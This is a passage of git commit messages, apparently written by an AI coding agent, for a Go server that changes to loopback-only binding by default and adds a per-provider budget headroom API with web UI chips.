(channelPendingQuestion) is now the sole question/summary transport.
https://claude.ai/code/session_01SESwn7kQ7oP62trWw6pc39
|
|
The server now defaults to binding 127.0.0.1 and refuses to bind a non-loopback
address (:8484, 0.0.0.0, a LAN IP, …) unless external_bind_allowed = true is set
in config — failing loud at startup instead of silently exposing itself.
External access is expected to go through a reverse proxy (Tailscale / Cloudflare
Access / Caddy), per the locked auth model.
- config: ExternalBindAllowed flag + ValidateBindAddr/isLoopbackHost (tested
across loopback, all-interfaces, LAN, and override cases).
- cli: --addr default is now 127.0.0.1:8484; serve() validates before binding.
Per-client bearer rotation stays deferred (single shared token for now).
https://claude.ai/code/session_01SESwn7kQ7oP62trWw6pc39
|
|
Adds GET /api/budget returning per-provider rolling-window headroom (empty when
budget gating is unconfigured), wired from serve.go via SetBudget. The web UI
polls it and renders a chip per limited provider in the header, flagging any
under 20% remaining. New pure JS helpers formatBudgetHeadroom/
renderBudgetHeadroom are unit-tested; the endpoint is covered by Go handler
tests (empty/reports/500). UI render not browser-verified in this environment.
Completes Phase 6: spend accounting + dispatcher gating + observability surface.
https://claude.ai/code/session_01SESwn7kQ7oP62trWw6pc39
|